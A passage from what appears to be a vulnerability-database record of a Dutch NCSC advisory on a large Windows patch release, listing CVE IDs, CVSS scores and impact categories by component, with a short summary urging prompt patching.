Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-14T19:01:06.144053Z"}, {"uuid": "45645cb2-2852-4b76-b213-87bc1516d479", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54995", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | 